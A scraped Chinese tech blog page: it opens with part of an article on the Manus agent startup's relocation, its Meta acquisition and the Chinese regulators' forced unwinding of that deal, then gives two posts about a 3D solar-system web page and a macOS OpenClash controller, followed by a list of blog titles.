六、5 亿美元估值，和一封来自美国财政部的问询

2025 年 4 月，Manus 拿到 Benchmark 领投的 7500 万美元融资，投后估值约 5 亿美元（TechCrunch，2025 年 4 月 25 日）。Benchmark 是硅谷最老牌的 VC 之一，投过 eBay、Twitter、Uber、Snap。

三周后，麻烦来了。

2025 年 5 月 9 日，Semafor 和 TechCrunch 同时报道：美国财政部正在审查 Benchmark 这笔投资，依据是 2023 年行政令衍生出的”对外投资安全计划”（Outbound Investment Security Program, OISP，又称”反向 CFIUS”），该规则于 2025 年 1 月 2 日生效，限制美国资本投向”受关注国家”的 AI 等关键技术。

Benchmark 的律师给出的抗辩理由，堪称本文最大的黑色幽默：

第一，Manus 不算 AI 公司管制对象，因为它不训练自己的模型，只是别人模型的”壳”（wrapper）；第二，Manus 不是中国公司，因为它注册在开曼群岛。（Semafor、Proskauer 法律分析）

一年前还是全网嘲讽的”套壳”，一年后成了通过美国监管审查的法律护身符。而”注册在开曼所以不是中国公司”这句话，在 11 个月后会被北京用最强硬的方式反驳。

这次审查是整个故事的转折点。它给 Manus 传递了一个非常清晰的信号：你身上的”中国属性”会持续给你的美元融资、你的估值、你的退出路径打折。

于是他们决定把它切掉。

七、2025 年夏天：删号、裁员、搬去新加坡

2025 年 6 月，Manus 合伙人张涛在一次活动上公开宣布：公司总部已从中国迁至新加坡，运营主体变为 Butterfly Effect Pte.，并开始在新加坡本地招聘（腾讯新闻、36氪）。

7 月，切割开始动刀子。

据当时多家媒体报道：中国区约 120 名员工中，40 余名核心技术人员被调往新加坡，其余人员”优化”，赔偿方案为 N+3 或 2N（腾讯新闻、国际电子商情、澎湃新闻《Manus 彻底撤出中国》）。与此同时，官方微博和小红书账号被清空，中文版产品不可用，中国大陆 IP 访问官网会看到 “Manus is not available in your region”（知乎话题汇总、澎湃）。

新加坡那边同时在开出月薪 8000–16000 美元（年薪超 130 万人民币）的岗位招人（DoNews）。

这套操作在业内有个专门的名字：Singapore-washing（新加坡洗白）——用新加坡实体给中国创始的公司套上一层”全球身份”，以便融美元、卖美国、避审查（Fortune，2026 年 3 月）。SHEIN 是这条路的先行者，Manus 是最激进的执行者：它不是分拆，是整体迁移加彻底清场。

需要说清楚的是，这里存在两种不同性质的叙事，各自都有拥护者：

一种是”生存说”。在美国把中国 AI 公司列入投资限制、算力受限、又必须依赖 Claude 等美国模型 API 的情况下，不切割就没有增长空间。Manus 主要收入在海外，用户在海外，模型在海外，公司留在中国反而处处受制。

另一种是”背叛说”。中文舆论场当时的情绪相当激烈：一家吃着中国工程师红利、拿着腾讯红杉真格的钱、靠中文互联网的舆论声量起家的公司，转身把简中痕迹删得一干二净。”全网首个爆料 Manus 裁员消息的人，如何看待其彻底撤出中国一事？“这类标题在 7 月满天飞。

商业上，这一步在当时看是成功的。政治上，这一步是整个故事里最致命的错误。

八、沉默期里的暴力增长

被中文舆论骂完之后，Manus 在 2025 年下半年做了一件反直觉的事：它闭嘴了，然后开始疯长。

2025 年 7 月：推出 Wide Research，可并发调用最多 100 个子智能体同时工作，把研究类任务的执行时间大幅压缩。
2025 年 10 月 16 日：发布 Manus 1.5，速度提升 4 倍，平均任务耗时从 15 分钟降到 4 分钟以内，新增全栈 Web 应用开发能力。
2025 年 12 月：发布 Manus 1.6 Max，加入 Design View，双盲测试用户满意度提升逾 19.2%。

（产品节奏来源：Sacra、Manus 官方博客、NamuWiki 汇总）

财务数字更夸张。上线 8 个月，ARR 突破 1 亿美元，官方称这是全球初创公司从 0 到 1 亿美元 ARR 的最快纪录；到 2025 年 12 月，总收入 run-rate 超过 1.25 亿美元（Manus 官方博客、Bloomberg，2025 年 12 月 17 日、SCMP）。定价上，早在 2025 年 3 月底就推出了 39 美元和 199 美元两档订阅（WinBuzzer）。

到收购公告时，Manus 称系统累计处理超过 147 万亿 tokens、创建了超过 8000 万台虚拟计算机（收购报道汇总）。

一个只有约 100 人的团队，一年时间做到这个数字。“套壳”这件事，在财务报表上被证明是对的。

九、2025 年 12 月 29 日：卖给 Meta

2025 年 12 月 29 日，Meta 宣布以超过 20 亿美元收购 Manus（Butterfly Effect），交易同日交割（TechCrunch、CNBC、Euronews）。据报道，Manus 当时本来在以 20 亿美元估值募新一轮，Meta 半路截胡；Meta 吸收其约 100 名员工，计划把 Manus 技术整合进 WhatsApp 和 Meta AI，同时保留独立订阅服务。

关于具体价格存在分歧：多数媒体口径是”超过 20 亿美元”，但也有报道称实际对价接近 30 亿美元（the-decoder）。后续回购报道普遍采用”约 20 亿美元原价”，本文以 20 亿美元为准。

最关键的一句话来自 Meta 发言人：交易完成后，“Manus AI 不存在任何持续的中国所有权权益”，且平台将终止在中国的服务与运营（Fortune，2025 年 12 月 30 日）。

从纯商业角度，这是一次教科书级的退出：从 2025 年 4 月的 5 亿美元估值，到 12 月的 20 亿美元交割，8 个月 4 倍；创始团队和早期投资人（含腾讯、红杉中国、真格、Benchmark）全部套现。中文媒体年末盘点的标题写得毫不客气：「Manus 的一年：爆火、出走与”卖身”」。

值得注意的一个细节是时间点：中国的元旦假期前夕，公告发出，交易当日交割。 北京方面在公告后的头几天，一个字都没说。

十、2026 年 1 月 8 日：北京开口了

沉默在 2026 年 1 月 8 日结束。中国商务部发表声明，称该交易需符合中国有关出口管制、技术转让和对外投资的法律（Fortune 相关报道、TechCrunch）。

监管方的论证逻辑，恰好是 Benchmark 律师那套说辞的镜像：Manus 由中国工程师创立，核心技术在中国境内产生，仍存在中国母体关联，因此应受中国司法管辖——注册地在开曼、总部在新加坡，都不改变这一点。

接下来三个月，事情迅速失控：

2026 年 3 月：监管部门将 CEO 肖弘和首席科学家季逸超召至北京问询，随后限制两人离境（The Legal Wire、Techweez、AOL/Benzinga 转载）。这是北京首次以限制高管出境的方式，阻断一桩与美国科技巨头的数十亿美元交易。两位创始人无法离境，意味着 Meta 与 Manus 的全球团队整合事实上被冻结。

2026 年 3 月 27 日，CNBC 的一篇报道记录了当时整个亚洲创投圈的震动。新加坡的一位 AI 行业顾问 Matthias Hendrichs 说得很直白：”Singapore-washing，也就是只在本地设个法律实体、雇几个本地员工，远远不够。“ 报道的核心判断是：北京不希望建立在中国技术生态和工程师红利之上的公司，换个门牌就把核心创新带走。

2026 年 4 月 27 日，国家发改委正式下令：撤销该交易，双方须解除已完成的收购（TechCrunch、Concurrences 判例摘要）。

在国际并购法律圈，这一天是有分量的。多家律所的分析口径一致：这是中国 外商投资安全审查（FISR）机制自 2020 年建立以来，第一次强制拆解一笔已经交割的交易，也是 AI 领域第一起被公开叫停的收购（O’Melveny 客户提示、Lexology、Shumaker 客户提示）。

以往各国的安全审查通常在交割前介入。交割后 4 个月，人已经并进去了、系统已经打通了，再要求全部退回来——这是一个新的先例，也是给所有做”离岸架构”的中国科技公司的一次公开示范。

十一、2026 年 6–8 月：把一家公司从另一家公司身上剥下来

判决之后是执行，而执行远比公告难看。

2026 年 6 月上旬，Bloomberg 率先披露：Manus 及其员工已被切断对 Meta 内部数据系统的访问，Meta 员工也不能再在内部项目中使用 Manus 工具。一份内部备忘录要求员工把现有 Manus 项目迁回 Meta 自有系统，不要在该平台上启动新工作——用词是 “sunsetting”（日落/下线）（The Next Web、CNBC，6 月 12 日、TechCrunch，6 月 13 日）。原本要把 Manus 的 agent 能力灌进 Meta AI 的数据管道被关掉，但据报道，Manus 与 Meta Ads Manager、Instagram 的部分连接仍然保留（Tom’s Hardware）。

2026 年 7 月上旬，剧情反转到最戏剧性的地方：一个由腾讯牵头的财团，以 20 亿美元原价从 Meta 手里把 Manus 买了回来。参与方包括 Manus 的早期投资人红杉中国（HSG）和真格基金；而在 Meta 交易中已经套现离场的美国投资人 Benchmark，不在这个财团里。交易完成后，腾讯将成为 Manus 单一最大股东，但仍为少数股权，Manus 继续在新加坡以独立公司运营（Tech Startups、TechTimes、36氪国际版、Startup Fortune）。

绕了一整圈：腾讯 2024 年投的公司，2025 年套现给 Meta，2026 年又原价买回来，中间还多了一层”国家意志”的背书。

2026 年 8 月 11 日，Manus 发布《致用户的一封信》，宣布即将恢复独立运营，并公告数据删除安排（CNBC、Manus 官方博客、新浪财经）。

8 月中旬，有报道称北京计划很快解除两位创始人的出境限制，肖弘已告知员工计划返回新加坡；回购以约 20 亿美元估值进行，仍待监管最终批准（俄罗斯卫星通讯社中文版、转载汇总）。这一条目前仍属报道，未见官方确认，请以后续公告为准。

然后，就有了你收件箱里的那封信。

十二、从安全与合规视角，这封邮件真正说了什么

跳出商业叙事，这件事对做安全/合规的人有几层直接的启示。

第一，”数据的国籍”第一次被执行到了记录级。 监管命令要求撤销交易，而 Manus 的执行方式是按交割日切分数据集，删除 2025-12-29 之后产生的部分。这意味着监管方（或其法律顾问）认可的合规颗粒度，已经细到”哪些数据是在哪个所有权结构下生成的”。对任何做跨境 SaaS 的公司来说，这是一个新的架构要求：数据分区必须能按股权变更时间点切开，而不只是按地域切开。

第二，”不可撤销”的技术整合，正在变成一种法律风险。 Meta 在 4 个月里把 Manus 接进了内部系统、Ads Manager、Instagram，然后必须在 2 个月内拆掉。任何一次并购后的深度技术整合，现在都得考虑”如果被要求逆转，我能不能干净地退回去”。这在尽调清单里过去几乎不存在。

第三，法律实体和技术主权是两码事。 Benchmark 的律师用”开曼注册 + 只是套壳”通过了美国审查，但北京的认定标准是技术来源地和人。公司可以搬，代码可以搬，人搬不走——限制出境这一手，直接说明了在这套逻辑里，什么才是真正被视为受管制的资产。有分析文章的标题概括得很到位：「中国让 Meta 买走了 Manus，但留下了造它的人」。

第四，对普通用户而言，这是一次”合规导致的可用性事故”。 没有攻击、没有漏洞、没有泄露，但你的数据照样会在指定时间点被销毁，且不可恢复。Manus 自己也强调这不是安全事件。可用性和完整性的威胁来源，不止是攻击者。

十三、哪些是实锤，哪些还是传闻

写这类文章最容易翻车的地方，是把爆料当事实。把话说清楚：

有可靠来源、可视为事实的： Manus 2025 年 3 月发布；2025 年 4 月 Benchmark 领投 7500 万美元、估值 5 亿美元；2025 年 5 月美国财政部就该投资进行问询；2025 年 6–7 月总部迁往新加坡并裁撤中国团队；2025 年 12 月 29 日 Meta 完成收购；2026 年 1 月 8 日中国商务部表态；2026 年 3 月创始人被限制出境（多家媒体报道，无官方公告）；2026 年 4 月 27 日发改委下令撤销交易；2026 年 6 月 Meta 开始切割；2026 年 7 月腾讯牵头财团回购；2026 年 8 月 11 日 Manus 官方公告独立与数据删除。

属于报道/未完全证实的：

收购总价究竟是”超过 20 亿”还是接近 30 亿美元，各家口径不一。
裁员的具体人数（约 120 人、40 余人转岗）来自中文媒体爆料与员工爆料，未见公司正式披露。
邀请码”炒到 10 万元”是平台挂单价，不等于实际成交价；官方明确否认存在付费渠道。《华尔街日报》的口径（超过 1000 美元）保守得多。
创始人限制出境的解除、腾讯财团回购的最终监管批准，截至本文写作时仍在进行中。
3 月的”越狱”内容出自单一用户的公开演示，公司未逐条确认技术细节，仅由季逸超作了原则性回应。

纯属圈内小道、只能当谈资的： 关于 Manus 团队在被收购前是否早已内部知情、关于哪些高管在新加坡拿到了什么条件、关于阿里合作后来事实上无疾而终的原因——这些在中文创投圈流传甚广，但我没有找到可引用的来源，因此不写进正文。附带一句：季逸超在被收购公告当天放出了与播客《张小珺｜商业访谈录》的长访谈（节目页），标题就叫”Manus 决定出售前最后的访谈”，是目前信息密度最高的一手材料。

十四、时间线

时间	事件
2015	肖弘华科毕业，在武汉创业，做壹伴助手/微伴助手
2022	创立蝴蝶效应（Butterfly Effect），推出 Monica
2023	Monica 收购 “ChatGPT for Google”，海外用户破 700 万
2024-11	A 轮，腾讯、红杉中国领投，真格、王慧文跟投
2025-03-06	Manus 发布，20 小时播放破百万，350 万人申请内测
2025-03-07	邀请码被炒至 5–10 万元，官方否认付费渠道
2025-03-10	用户 jian 越狱沙盒，曝出基于 Claude Sonnet + 29 工具
2025-03-11	宣布与阿里通义千问战略合作
2025-03-中	MetaGPT 团队 3 小时做出 OpenManus
2025-03-31	推出 39 / 199 美元订阅
2025-04-25	Benchmark 领投 7500 万美元，估值 5 亿美元
2025-05-09	美国财政部审查 Benchmark 该笔投资（OISP / 反向 CFIUS）
2025-06	宣布总部迁至新加坡，主体变更为 Butterfly Effect Pte.
2025-07	中国团队大规模裁员，社交账号清空，国内不可访问
2025-07	推出 Wide Research（最多 100 个并发子智能体）
2025-10-16	Manus 1.5 发布，速度提升 4 倍
2025-12-17	Bloomberg：收入 run-rate 超 1.25 亿美元，ARR 8 个月破 1 亿
2025-12-29	Meta 以超 20 亿美元完成收购，称”无持续中国所有权”
2026-01-08	中国商务部声明：交易须符合出口管制与对外投资法律
2026-03	肖弘、季逸超被约谈并限制出境，整合停摆
2026-04-27	发改委下令撤销交易，FISR 机制首次强拆已交割并购
2026-06-11	Meta 切断 Manus 系统访问，内部要求 “sunsetting”
2026-07-10	腾讯牵头财团以 20 亿美元原价回购，Benchmark 不参与
2026-08-11	Manus 宣布恢复独立运营，公告数据删除安排
2026-08-23~24	删除 2025-12-29 之后产生的受影响数据
2026-08-25	服务恢复，Manus 以独立公司身份重新开始

十五、结尾：这只蝴蝶扇出了什么

Manus 这家公司的名字取自”蝴蝶效应”，这在 2026 年回头看有点过于应景。

它是第一家在 AI Agent 这个品类上做出全球规模收入的中国团队公司；也是第一家因为”中国血统”同时被华盛顿和北京审查的公司；还是第一家被中国监管强制从美国科技巨头手里”拆回来”的公司。它证明了套壳可以赚到 1.25 亿美元的年化收入，也证明了法律注册地救不了你。

有意思的是最后的结果：公司还在新加坡，业务还在全球，创始团队还是那两个 1992 年出生的人，但最大股东变回了腾讯。 兜了一整圈，Manus 回到了 2024 年 11 月 A 轮之后的股东结构——只是这一次，全世界都知道它究竟属于谁了。

而对于收到那封邮件的用户来说，这一切的具体表现就是：你在 2026 年 8 月 23 日之前得把东西导出来，否则它就没了。地缘政治最终落到个人身上的形态，往往就是一个倒计时和一个”Back up data”按钮。

参考来源

官方/一手

并购与监管

融资与美国审查

出境限制与 Singapore-washing

中文媒体与早期报道

综合资料

按真实轨道画了个太阳系，塞进一个 HTML 文件

2026-07-20T07:00:00.000Z

太阳系的图，教科书上都是假的。

不是说画错了，是必须假——真按比例画，海王星要画到教室外面去，而地球会小成一个看不见的点。为了让一页纸放得下，只能把距离压扁、把行星放大。

代价是，很多人长大后对太阳系的印象，是一排大小差不多的球整齐地绕着圈。

我想做个能在两种比例之间平滑切换的东西。

🪐 点这里直接打开 → solar.zhangwenqiang.com
代码也开源了：github.com/zhangwenqiang0214/solar-system-3d

它是什么

一个 HTML 文件。双击打开，不用装任何东西，断网也能跑。

里面是一个可以自由旋转、缩放的三维太阳系，35 个以上的天体——八大行星、矮行星、主要卫星，每一个都能点开看中文介绍。

两种比例，可以滑动

这是我最想做的功能。

教学模式：行星放大，轨道压缩，所有东西都看得见，像教科书那样
真实模式：严格按真实比例，然后你会发现——什么都看不见了

中间是一根滑杆。拖动它，两种模式之间连续插值。

拖的过程比任何一端都有说服力。你会亲眼看着行星缩小、轨道拉长，直到整个内太阳系挤成中心一小团光，而海王星跑到视野之外。那一刻「空旷」这个词才有了具体的量感。

行星的位置是真的

这是另一件我坚持要做的事：不要随便摆。

页面上每颗行星的位置，是按 JPL 的开普勒轨道根数、根据你打开页面的日期实时算出来的。

也就是说，你现在看到的，就是此刻天上真实的排布。想看你生日那天的行星位置，改个日期就行。

算法本身不复杂——六个轨道根数（半长轴、离心率、倾角等等）加上时间，解一个开普勒方程，得到轨道上的位置。麻烦的是把各个天体的参考系对齐，以及处理那些轨道特别扁的矮行星。

贴图

八大行星和主要卫星用的是 solarsystemscope.com 的贴图，CC BY 4.0 协议，可以放心用。

矮行星和小卫星没有现成贴图——它们大多只有几张模糊的探测器照片。这部分是用 canvas 程序化生成的：按天体的已知特征（颜色倾向、反照率、大致地貌类型）生成噪声纹理。不追求写实，只求别让它们看起来像一个个塑料球。

技术

Three.js 0.170 + UnrealBloom 后处理（太阳的光晕靠它）
轨道计算是自己写的，JPL 开普勒根数
构建用 esbuild，贴图走 dataurl loader 全部内联

最后 node build.mjs 打出一个 11.2MB 的单文件 HTML，所有贴图以 base64 嵌在里面。

11MB 对网页来说不小，但它换来的是：拷给任何人，双击就能用。不用起服务器，不用连网，不用解释”你先装个 Node”。给小孩看、给长辈看、拷到没网的电脑上看，都行。

后来加了个网页版

为了能挂到网上，又加了一种构建模式：

1	node build.mjs --web

贴图不再内嵌，而是作为独立文件按需加载。HTML 从 11MB 降到 3.2KB，打开就见画面，贴图在后面慢慢补上。

两种产物各有各的用处——单文件版适合拷给人，网页版适合挂网站。构建脚本里用一个 --web 参数切换 esbuild 的 loader（dataurl 换成 file），二十行代码的事。

开源了

代码在 github.com/zhangwenqiang0214/solar-system-3d，MIT 协议。

在线版：solar.zhangwenqiang.com

贴图来自 Solar System Scope，CC BY 4.0，用的时候记得保留署名。

为什么做这个

起因是想给小孩讲太阳系，翻了一圈现成的工具，要么是专业天文软件（打开就劝退），要么是精美但假的动画（好看，但强化了错误印象）。

我想要的东西很简单：既是真的，又看得懂。这两件事在太阳系这个尺度上天然打架，所以才需要那根滑杆——让人自己在两者之间走一趟。

走过一趟之后，「太阳系很空」就不再是一句需要被告知的知识了。

NodeBolt：把路由器上的 OpenClash，搬进 Mac 菜单栏

2026-06-22T02:00:00.000Z

家里的路由器上跑着 OpenClash。这件事本身很好，唯一的问题是——我想换个节点的时候，得先去求它。

流程大概是这样：打开浏览器，输入一串内网 IP（每次都要想一下是 6.1 还是 1.1），登录，在后台菜单里找到 OpenClash，点进面板，等它加载，终于看见节点列表，点一下。

全程四十秒，其中三十五秒在等待和回忆。

于是我写了 NodeBolt——一个常驻 Mac 菜单栏的小开关。点一下 ⚡，节点列表就在那儿了。

它是什么

一句话：菜单栏里的 OpenClash 遥控器。

它不是代理软件，不接管你的网络，也不在你的 Mac 上跑内核。你的路由器该怎么跑还怎么跑——NodeBolt 只是坐在菜单栏里，替你按按钮。

沟通方式是 Mihomo 自带的 RESTful API。你给它一个地址和一把钥匙，它就只用这两样东西干活：不碰 SSH，不改你的路由器配置，不往里塞任何东西。像个有分寸的客人，进门只坐在你指的那把椅子上。

能干什么

切节点

所有节点平铺在面板里，延迟用颜色标好——绿的快，橙的一般，红的你可以当它不存在。

点一下就切，面板不会收起来。这个细节是我给自己加的：挑节点这种事很少一次就满意，收起来再点开，第三次你就烦了。

还有搜索、收藏置顶、按延迟或名称排序、一键把超时的都藏起来。嫌麻烦就点「⚡ 最快」，它直接带你去延迟最低的那个。规则 / 全局 / 直连三种模式也在顶上摆着，随手就能换。

测速

整组一次测完，也可以单测某个。打开面板自动测、隔一段时间自动测，都行。节点一个个转圈出结果，绿橙红超时，一目了然。

检测：确认它是真的通了

节点显示 55ms，不代表你能打开 YouTube。这两件事之间隔着一整个世界。

所以有了这一页：一键测 GitHub / YouTube / 百度 / QQ 到底通不通、多快。

还会查你的代理出口 IP——三个数据源（ip.sb / ipwho.is / ipapi.is）对比着看，顺便告诉你这个 IP 是不是机房 IP、是不是被标记成代理或风险 IP。

有时候连不上某个网站，不是节点慢，是那个 IP 早就被人用坏了。知道这一点，能省下不少无意义的重启。

管理

平时用不上，但需要的时候不用再去开路由器后台：

订阅：列出、更新、健康检查；配置文件按路径一键切换
连接：看实时活动连接、搜索、掐掉某一个或者全部
实时监控：上下行速率、内存占用、滚动日志
杂项：DNS 查询、清 FakeIP、看内核版本、更新 GEO 库

重启和升级内核也做了，但放在了比较深的地方，还加了二次确认——毕竟按错了，断网的是全家。

一些顺手的地方

菜单栏可以直接显示当前节点名或实时网速（觉得吵就只留个图标，或者干脆藏起来）。可以设全局快捷键，一键切最快或呼出面板。

可以存多套连接档案，家里一套公司一套，切换一下就行。开机自启、节点掉线发系统通知、换了 Wi-Fi 自动重连——这些都在。

怎么用

装

去 Releases 下载 NodeBolt.dmg，拖进「应用程序」。
第一次打开要右键 →「打开」。这是未签名构建，Gatekeeper 需要你亲口说一句「我知道我在干什么」，说一次就够了。
提示时允许「本地网络」——它要靠这个才能摸到你的路由器。

配

点菜单栏的 ⚡ → ⚙ 设置，填两样东西：

API 地址，形如 http://192.168.x.x:9090
Secret

这两样在 OpenClash 的「外部控制」设置里。填完就完事了，没有第四步。

或者自己编译

git clone https://github.com/zhangwenqiang0214/NodeBolt.git
cd NodeBolt
./build.sh          # 编译并打包 dist/NodeBolt.app（Universal）
./package_dmg.sh    # 生成 dmg

需要 Swift 工具链，完整 Xcode 或只装 Command Line Tools 都可以。

要求

macOS 14 (Sonoma) 或更高
Apple Silicon 和 Intel 都能跑（Universal 包）
内核是 Mihomo / Clash.Meta，并且开了外部控制器。OpenClash 自带的就行，我在 v1.19.x 上实测过

接下来

v0.1.0 已经发了。手里还欠着几件事：

代码签名和公证，让你双击就能装，不用再右键
Homebrew Cask，brew install --cask nodebolt
Secret 存进系统钥匙串，不再明文躺在硬盘上
中英文双语
延迟历史曲线、节点分组视图

技术栈是 SwiftUI + AppKit，Swift Package Manager 管依赖，几 MB，常驻菜单栏基本不占内存。

代码在 github.com/zhangwenqiang0214/NodeBolt，MIT 协议。

有想法或者遇到问题，欢迎提 Issue。我大概率会看，也大概率会改。

zhangwenqiang's blog

罗永浩把名字咽了回去：一句「难吃」的当量

一、今晚这条微博

二、先把三件事分开

三、他四天前就认过怂了

四、他一直是这样的人，而且以前更狠

五、变的是当量

六、那把锁

七、9 月 20 日这一天

八、按钮

最后

事实来源

他只会说「可以」

「可以」和「喜欢」

那个没人用的网站

「都听你的」

牌桌上，谁是职业的

一个说不出想要什么的人，在看一个把想要写在脸上的人

我没有结论

开着代理的时候，你电脑上查到的 DNS 是假的

198.18 是个什么地址

fake-IP 在做什么

三个会骗到你的细节

那怎么查到真的

一句话

给全家做了个药箱管家：Go 单文件塞进路由器，拍张照就能录入

一、约束先行：为什么是”单文件塞路由器”

二、坑 1：SQLite 的 CGO 之痛

三、go:embed：把前端塞进二进制

四、坑 2：药品有效期，包装上根本没有”日”

五、坑 3：药箱里不只有药

六、AI 部分：让录入这件事别那么烦

防幻觉：把”不要编造”写死进 prompt

对症分诊：只推荐你家里真有的药

七、几个小设计

八、开源前的脱敏：扫出来的东西比想象中多

尾巴

闲鱼 120 元买的「Parallels 企业版授权」，拆开发现是破解版

起因

疑点一：签名对不上

疑点二：那个安装脚本

关于 parallels.zip

疑点三：资源文件里藏了东西

破开加密

certs/ 里不是证书

破解原理

第一层：dylib 注入

第二层：函数挂钩

第三层：伪造信任锚

第四层：重签名（死穴所在）

持久化

为什么这套能成功

杀软怎么说

那个激活码到底是真是假

怎么自查

清理

IOC

结论

博客上线了

为什么搭这个

技术栈

打算写什么

AirPods 里藏着一个陀螺仪

它做什么

一件有意思的事：偏航会漂

校准

怎么装

环境要求

关于数据

技术

144Hz 的显示器，为什么只能跑 133Hz

先确认屏幕没被冤枉

瓶颈在半路上

一道小学算术

为什么坞只给这么点带宽

顺便说个反直觉的：降刷新率不会让坞凉快

那怎么才能真的跑满 144Hz

一点题外话

家里的网络在往哪儿跑，我做了块大屏看着

它长什么样

关于 `parallels.zip`

`certs/` 里不是证书